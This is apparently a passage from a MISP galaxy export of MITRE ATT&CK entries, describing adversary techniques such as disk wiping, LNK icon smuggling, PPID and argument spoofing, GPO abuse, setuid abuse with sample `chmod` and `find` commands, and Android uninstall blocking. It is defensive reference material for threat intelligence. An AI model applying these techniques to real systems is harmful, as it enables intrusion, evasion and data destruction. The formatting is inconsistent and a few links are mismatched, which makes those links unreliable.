Use of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis, or enable operational resiliency (since this infrastructure may be dynamically changed).

The tag is: `misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1481.001"`

### Table 5224. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1641/001">https://attack.mitre.org/techniques/T1641/001</a></td>
</tr>
<tr>
<td><a href="https://www.eset.com/uk/about/newsroom/press-releases/first-clipper-malware-discovered-on-google-play-1/">https://www.eset.com/uk/about/newsroom/press-releases/first-clipper-malware-discovered-on-google-play-1/</a></td>
</tr>
</tbody>
</table>

### Table 5225. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1481/001">https://attack.mitre.org/techniques/T1481/001</a></td>
</tr>
</tbody>
</table>
Security Software Discovery - T1418.001

Adversaries may attempt to get a listing of security applications and configurations that are installed on a device. This may include things such as mobile security products. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1418/001) during automated discovery to shape follow-on behaviors, including whether or not to fully infect the target and/or attempt specific actions.

The tag is: `misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1418.001"`

Table 5226. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1418/001">https://attack.mitre.org/techniques/T1418/001</a></td>
</tr>
</tbody>
</table>

Disk Content Wipe - T1561.001

Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources.

Adversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have also been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk are erased instead of individual files.

To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)

The tag is: `misp-galaxy:mitre-attack-pattern="Disk Content Wipe - T1561.001"`

Table 5227. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1561/001">https://attack.mitre.org/techniques/T1561/001</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/sysinternals/downloads/sysmon">https://docs.microsoft.com/sysinternals/downloads/sysmon</a></td>
</tr>
</tbody>
</table>
Security Software Discovery - T1518.001

Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Example commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), `<code>reg query</code>` with [Reg](https://attack.mitre.org/software/S0075), `<code>dir</code>` with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.

Adversaries may also utilize cloud APIs to discover the configurations of firewall rules within an environment. (Citation: Expel IO Evil in AWS) For example, the permitted IP ranges, ports or user accounts for the inbound/outbound rules of security groups, virtual firewalls established within AWS for EC2 and/or VPC instances, can be revealed by the `<code>DescribeSecurityGroups</code>` action with various request parameters. (Citation: DescribeSecurityGroups - Amazon Elastic Compute Cloud)

The tag is: `misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001"

Table 5228. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1518/001">https://attack.mitre.org/techniques/T1518/001</a></td>
</tr>
<tr>
<td><a href="https://expel.io/blog/finding-evil-in-aws/">https://expel.io/blog/finding-evil-in-aws/</a></td>
</tr>
</tbody>
</table>

Determine Physical Locations - T1591.001

Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within.
Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)). (Citation: ThreatPost Broadvoice Leak) (Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).

The tag is: `misp-galaxy:mitre-attack-pattern="Determine Physical Locations - T1591.001"`

**Table 5229. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1591/001">https://attack.mitre.org/techniques/T1591/001</a></td>
</tr>
<tr>
<td><a href="https://www.sec.gov/edgar/search-and-access">https://www.sec.gov/edgar/search-and-access</a></td>
</tr>
</tbody>
</table>

### LNK Icon Smuggling - T1027.012

Adversaries may smuggle commands to download malicious payloads past content filters by hiding them within otherwise seemingly benign windows shortcut files. Windows shortcut files (.LNK) include many metadata fields, including an icon location field (also known as the `IconEnvironmentDataBlock`) designed to specify the path to an icon file that is to be displayed for the LNK file within a host directory.

Adversaries may abuse this LNK metadata to download malicious payloads. For example, adversaries have been observed using LNK files as phishing payloads to deliver malware. Once invoked (e.g., [Malicious File](https://attack.mitre.org/techniques/T1204/002)), payloads referenced via external URLs within the LNK icon location field may be downloaded. These files may also then be invoked by [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1218) arguments within the target path field of the LNK. (Citation: Unprotect Shortcut) (Citation: Booby Trap Shortcut 2017)

LNK Icon Smuggling may also be utilized post compromise, such as malicious scripts executing an LNK on an infected host to download additional malicious payloads.

The tag is: `misp-galaxy:mitre-attack-pattern="LNK Icon Smuggling - T1027.012"`

**Table 5230. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1027/012">https://attack.mitre.org/techniques/T1027/012</a></td>
</tr>
<tr>
<td><a href="https://unprotect.it/technique/shortcut-hiding/">https://unprotect.it/technique/shortcut-hiding/</a></td>
</tr>
</tbody>
</table>
GUI Input Capture - T1417.002

Adversaries may mimic common operating system GUI components to prompt users for sensitive information with a seemingly legitimate prompt. The operating system and installed applications often have legitimate needs to prompt the user for sensitive information such as account credentials, bank account information, or Personally Identifiable Information (PII). Compared to traditional PCs, the constrained display size of mobile devices may impair the ability to provide users with contextual information, making users more susceptible to this technique’s use. (Citation: Felt-PhishingOnMobileDevices)

There are several approaches adversaries may use to mimic this functionality. Adversaries may impersonate the identity of a legitimate application (e.g. use the same application name and/or icon) and, when installed on the device, may prompt the user for sensitive information. (Citation: eset-finance) Adversaries may also send fake device notifications to the user that may trigger the display of an input prompt when clicked. (Citation: Group IB Gustuff Mar 2019)

Additionally, adversaries may display a prompt on top of a running, legitimate application to trick users into entering sensitive information into a malicious application rather than the legitimate application. Typically, adversaries need to know when the targeted application and the individual activity within the targeted application is running in the foreground to display the prompt at the proper time. Adversaries can abuse Android’s accessibility features to determine which application is currently in the foreground. (Citation: ThreatFabric Cerberus) Two known approaches to displaying a prompt include:

- Adversaries start a new activity on top of a running legitimate application. (Citation: Felt-PhishingOnMobileDevices)(Citation: Hassell-ExploitingAndroid) Android 10 places new restrictions on the ability for an application to start a new activity on top of another application, which may make it more difficult for adversaries to utilize this technique. (Citation: Android Background)

- Adversaries create an application overlay window on top of a running legitimate application. Applications must hold the SYSTEM_ALERT_WINDOW permission to create overlay windows. This permission is handled differently than typical Android permissions and, at least under certain conditions, is automatically granted to applications installed from the Google Play Store. (Citation: Cloak and Dagger)(Citation: NowSecure Android Overlay)(Citation: Skycure-Accessibility) The SYSTEM_ALERT_WINDOW permission and its associated ability to create application overlay windows are expected to be deprecated in a future release of Android in favor of a new API. (Citation: XDA Bubbles)

The tag is: misp-galaxy:mitre-attack-pattern="GUI Input Capture - T1417.002"

Table 5231. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://cloak-and-dagger.org/">http://cloak-and-dagger.org/</a></td>
</tr>
</tbody>
</table>
Credentials In Files - T1552.001

Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.

It is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)

In cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files. (Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs. (Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files. (Citation: Specter Ops - Cloud Credential Storage)

The tag is: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001"

Table 5232. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html">http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1552/001">https://attack.mitre.org/techniques/T1552/001</a></td>
</tr>
<tr>
<td><a href="https://posts.specterops.io/head-in-the-clouds-bd038bb69e48">https://posts.specterops.io/head-in-the-clouds-bd038bb69e48</a></td>
</tr>
</tbody>
</table>
Disk Structure Wipe - T1561.002

Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources.

Adversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table. (Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) if all sectors of a disk are wiped.

On a network devices, adversaries may reformat the file system using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `format`. (Citation: format_cmd_cisco)

To maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002). (Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)

The tag is: `misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1561.002"

Table 5233. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1561/002">https://attack.mitre.org/techniques/T1561/002</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/sysinternals/downloads/sysmon">https://docs.microsoft.com/sysinternals/downloads/sysmon</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/">https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/</a></td>
</tr>
</tbody>
</table>
Device Administrator Permissions - T1626.001

Adversaries may abuse Android’s device administration API to obtain a higher degree of control over the device. By abusing the API, adversaries can perform several nefarious actions, such as resetting the device’s password for [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1642), factory resetting the device for [File Deletion](https://attack.mitre.org/techniques/T1630/002) and to delete any traces of the malware, disabling all the device’s cameras, or to make it more difficult to uninstall the app.

Device administrators must be approved by the user at runtime, with a system popup showing which actions have been requested by the app. In conjunction with other techniques, such as [Input Injection](https://attack.mitre.org/techniques/T1516), an app can programmatically grant itself administrator permissions without any user input.

The tag is: `misp-galaxy:mitre-attack-pattern="Device Administrator Permissions - T1626.001"`

Table 5234. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1626/001">https://attack.mitre.org/techniques/T1626/001</a></td>
</tr>
</tbody>
</table>

Suppress Application Icon - T1628.001

A malicious application could suppress its icon from being displayed to the user in the application launcher. This hides the fact that it is installed, and can make it more difficult for the user to uninstall the application. Hiding the application's icon programmatically does not require any special permissions.

This behavior has been seen in the BankBot/Spy Banker family of malware.(Citation: android-trojan-steals-paypal-2fa)(Citation: sunny-stolen-credentials)(Citation: bankbot-spybanker)

Beginning in Android 10, changes were introduced to inhibit malicious applications’ ability to hide their icon. If an app is a system app, requests no permissions, or does not have a launcher activity, the application’s icon will be fully hidden. Further, if the device is fully managed or the application is in a work profile, the icon will be fully hidden. Otherwise, a synthesized activity is shown, which is a launcher icon that represents the app's details page in the system settings. If the user clicks the synthesized activity in the launcher, they are taken to the application’s details page in the system settings.(Citation: Android 10 Limitations to Hiding App Icons)(Citation: LauncherApps getActivityList)

The tag is: `misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1628.001"`

Table 5235. Table References
Prevent Application Removal - T1629.001

Adversaries may abuse the Android device administration API to prevent the user from uninstalling a target application. In earlier versions of Android, device administrator applications needed their administration capabilities explicitly deactivated by the user before the application could be uninstalled. This was later updated so the user could deactivate and uninstall the administrator application in one step.

Adversaries may also abuse the device accessibility APIs to prevent removal. This set of APIs allows the application to perform certain actions on behalf of the user and programmatically determine what is being shown on the screen. The malicious application could monitor the device screen for certain modals (e.g., the confirmation modal to uninstall an application) and inject screen input or a back button tap to close the modal. For example, Android’s `performGlobalAction(int)` API could be utilized to prevent the user from removing the malicious application from the device after installation. If the user wants to uninstall the malicious application, two cases may occur, both preventing the user from removing the application.

- Case 1: If the integer argument passed to the API call is 2 or `GLOBAL_ACTION_HOME`, the malicious application may direct the user to the home screen from settings screen
- Case 2: If the integer argument passed to the API call is 1 or `GLOBAL_ACTION_BACK`, the malicious application may emulate the back press event

The tag is: `misp-galaxy:mitre-attack-pattern="Prevent Application Removal - T1629.001"`

Parent PID Spoofing - T1134.004

Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the `<code>CreateProcess</code>` API call, which supports a parameter that
defines the PPID to use. (Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via `<code>svchost.exe</code>` or `<code>consent.exe</code>`) rather than the current user context. (Citation: Microsoft UAC Nov 2018)

Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1218/011) to be `<code>explorer.exe</code>` rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). (Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106). (Citation: CTD PPID Spoofing Macro Mar 2019) (Citation: CounterCept PPID Spoofing Dec 2018)

Explicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as `<code>lsass.exe</code>`), causing the new process to be elevated via the inherited access token. (Citation: XPNSec PPID Nov 2017)

The tag is: `misp-galaxy:mitre-attack-pattern="Parent PID Spoofing - T1134.004"

**Table 5237. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1134/004">https://attack.mitre.org/techniques/T1134/004</a></td>
</tr>
<tr>
<td><a href="https://blog.xpnsec.com/becoming-system/">https://blog.xpnsec.com/becoming-system/</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags">https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works">https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works</a></td>
</tr>
</tbody>
</table>

**Outlook Home Page - T1137.004**

Adversaries may abuse Microsoft Outlook’s Home Page feature to obtain persistence on a compromised system. Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page. (Citation: SensePost Outlook Home Page)
Once malicious home pages have been added to the user's mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded. (Citation: SensePost Outlook Home Page)

The tag is: \textit{misp-galaxy:mitre-attack-pattern="Outlook Home Page - T1137.004"}

Table 5238. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1137/004">https://attack.mitre.org/techniques/T1137/004</a></td>
</tr>
<tr>
<td><a href="https://github.com/sensepost/notruler">https://github.com/sensepost/notruler</a></td>
</tr>
<tr>
<td><a href="https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/">https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/</a></td>
</tr>
</tbody>
</table>

\textbf{Identify Business Tempo - T1591.003}

Adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization's business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim's hardware and software resources.

Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). (Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199))

The tag is: \textit{misp-galaxy:mitre-attack-pattern="Identify Business Tempo - T1591.003"}

Table 5239. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1591/003">https://attack.mitre.org/techniques/T1591/003</a></td>
</tr>
</tbody>
</table>

\textbf{Domain Generation Algorithms - T1637.001}

Adversaries may use [Domain Generation Algorithms](https://attack.mitre.org/techniques/T1637/001) (DGAs) to procedurally generate domain names for uses such as command and control
DGAs increase the difficulty for defenders to block, track, or take over the command and control channel, as there could potentially be thousands of domains that malware can check for instructions.

The tag is: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1637.001"

Table 5240. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1637/001">https://attack.mitre.org/techniques/T1637/001</a></td>
</tr>
</tbody>
</table>

**Group Policy Modification - T1484.001**

Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predictable network path `\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\`. (Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)

Like other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.

Malicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and more. (Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse. (Citation: Wald0 Guide to GPOs)

For example, publicly available scripts such as `<code>New-GPOImmediateTask</code>` can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying `<code>&lt;GPO_PATH&gt;\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml</code>`.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like `SeEnableDelegationPrivilege`, set in `<code>&lt;GPO_PATH&gt;\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf</code>`, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary’s control would then be able to modify GPOs. (Citation: Harmj0y
SeEnableDelegationPrivilege Right

The tag is: *misp-galaxy:mitre-attack-pattern*="*Group Policy Modification - T1484.001*

**Table 5241. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/">http://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/</a></td>
</tr>
<tr>
<td><a href="http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/">http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/</a></td>
</tr>
<tr>
<td><a href="https://adsecurity.org/?p=2716">https://adsecurity.org/?p=2716</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1484/001">https://attack.mitre.org/techniques/T1484/001</a></td>
</tr>
<tr>
<td><a href="https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/">https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/</a></td>
</tr>
<tr>
<td><a href="https://wald0.com/?p=179">https://wald0.com/?p=179</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2016/06/01/hacking-team-breach-a-cyber-jurassic-park/">https://www.microsoft.com/security/blog/2016/06/01/hacking-team-breach-a-cyber-jurassic-park/</a></td>
</tr>
</tbody>
</table>

**Process Argument Spoofing - T1564.010**

Adversaries may attempt to hide process command-line arguments by overwriting process memory. Process command-line arguments are stored in the process environment block (PEB), a data structure used by Windows to store various information about/used by a process. The PEB includes the process command-line arguments that are referenced when executing the process. When a process is created, defensive tools/sensors that monitor process creations may retrieve the process arguments from the PEB.(Citation: Microsoft PEB 2021)(Citation: Xpn Argue Like Cobalt 2019)

Adversaries may manipulate a process PEB to evade defenses. For example, [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) can be abused to spawn a process in a suspended state with benign arguments. After the process is spawned and the PEB is initialized (and process information is potentially logged by tools/sensors), adversaries may override the PEB to modify the command-line arguments (ex: using the [Native API](https://attack.mitre.org/techniques/T1106) <code>WriteProcessMemory()</code> function) then resume process execution with malicious arguments.(Citation: Cobalt Strike Arguments 2019)(Citation: Xpn Argue Like Cobalt 2019)(Citation: Nviso Spoof Command Line 2020)

Adversaries may also execute a process with malicious command-line arguments then patch the memory with benign arguments that may bypass subsequent process memory analysis.(Citation: FireEye FiveHands April 2021)

This behavior may also be combined with other tricks (such as [Parent PID Spoofing](https://attack.mitre.org/techniques/T1134/004)) to manipulate or further evade process-based detections.

The tag is: *misp-galaxy:mitre-attack-pattern*="*Process Argument Spoofing - T1564.010*"
Table 5242. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1564/010">https://attack.mitre.org/techniques/T1564/010</a></td>
</tr>
<tr>
<td><a href="https://blog.cobaltstrike.com/2019/01/02/cobalt-strike-3-13-why-do-we-argue/">https://blog.cobaltstrike.com/2019/01/02/cobalt-strike-3-13-why-do-we-argue/</a></td>
</tr>
<tr>
<td><a href="https://blog.xpnsec.com/how-to-argue-like-cobalt-strike/">https://blog.xpnsec.com/how-to-argue-like-cobalt-strike/</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode">https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode</a></td>
</tr>
</tbody>
</table>

Setuid and Setgid - T1548.001

An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user's context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively. (Citation: setuid man page) Normally an application is run in the current user's context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.

Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. [Linux and Mac File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222/002)). The `chmod` command can set these bits with bitmasking, `chmod 4777 [file]` or via shorthand naming, `chmod u+s [file]`. This will enable the setuid bit. To enable the setgid bit, `chmod 2775` and `chmod g+s` can be used.

Adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future. (Citation: OSX Keydnap malware) This abuse is often part of a "shell escape" or other actions to bypass an execution environment with restricted permissions.

Alternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). The setuid and setguid bits are indicated with an "s" instead of an "x" when viewing a file's attributes via `ls -l`. The `find` command can also be used to search for such files. For example, `find / -perm +4000` may be used to find files with setuid set and `find / -perm +2000` may be used for setgid. Binaries that have these bits set may then be abused by adversaries. (Citation: GTFOBins Suid)

The tag is: `misp-galaxy:mitre-attack-pattern="Setuid and Setgid - T1548.001"`

Table 5243. Table References
Direct Network Flood - T1498.001

Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. This DoS attack may also reduce the availability and functionality of the targeted system(s) and network. [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001)s are when one or more systems are used to send a high-volume of network packets towards the targeted service’s network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.

Botnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)

The tag is: `misp-galaxy:mitre-attack-pattern="Direct Network Flood - T1498.001"`

Table 5244. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1498/001">Direct Network Flood</a></td>
</tr>
</tbody>
</table>

OS Exhaustion Flood - T1499.001

Adversaries may launch a denial of service (DoS) attack targeting an endpoint’s operating system (OS). A system’s OS is responsible for managing the finite resources as well as preventing the entire system from being overwhelmed by excessive demands on its capacity. These attacks do not need to exhaust the actual resources on a system; the attacks may simply exhaust the limits and available resources that an OS self-imposes.
